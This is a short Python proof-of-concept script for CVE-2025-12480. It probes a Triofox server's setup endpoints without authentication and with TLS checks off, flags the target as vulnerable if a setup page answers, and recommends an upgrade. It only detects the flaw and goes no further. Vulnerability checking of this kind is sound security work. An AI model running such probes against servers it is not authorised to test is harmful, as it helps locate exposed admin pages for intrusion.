CVE-2025-12480: Triofox 初始设置页面访问控制不当漏洞

import requests import sys def check_cve_2025_12480(target_url): """ CVE-2025-12480 PoC - Triofox Improper Access Control Checks if initial setup pages are accessible after setup completion """ setup_endpoints = [ "/setup", "/initial", "/wizard", "/setup.aspx", "/admin/setup", "/api/setup/status" ] print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2025-12480 PoC - Triofox Access Control Bypass\n") vulnerable = False for endpoint in setup_endpoints: url = target_url.rstrip('/') + endpoint try: response = requests.get(url, timeout=10, verify=False) if response.status_code == 200: if 'setup' in response.text.lower() or 'configuration' in response.text.lower(): print(f"[+] VULNERABLE: {url}") print(f" Status Code: {response.status_code}") print(f" Setup page accessible without authentication") vulnerable = True except requests.exceptions.RequestException as e: print(f"[-] Error testing {url}: {e}") if vulnerable: print("\n[!] Target is vulnerable to CVE-2025-12480") print("[!] Recommendation: Upgrade to Triofox >= 16.7.10368.56560") else: print("\n[+] Target appears not vulnerable") return vulnerable if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] else: target = "http://target-triofox-server.com" check_cve_2025_12480(target)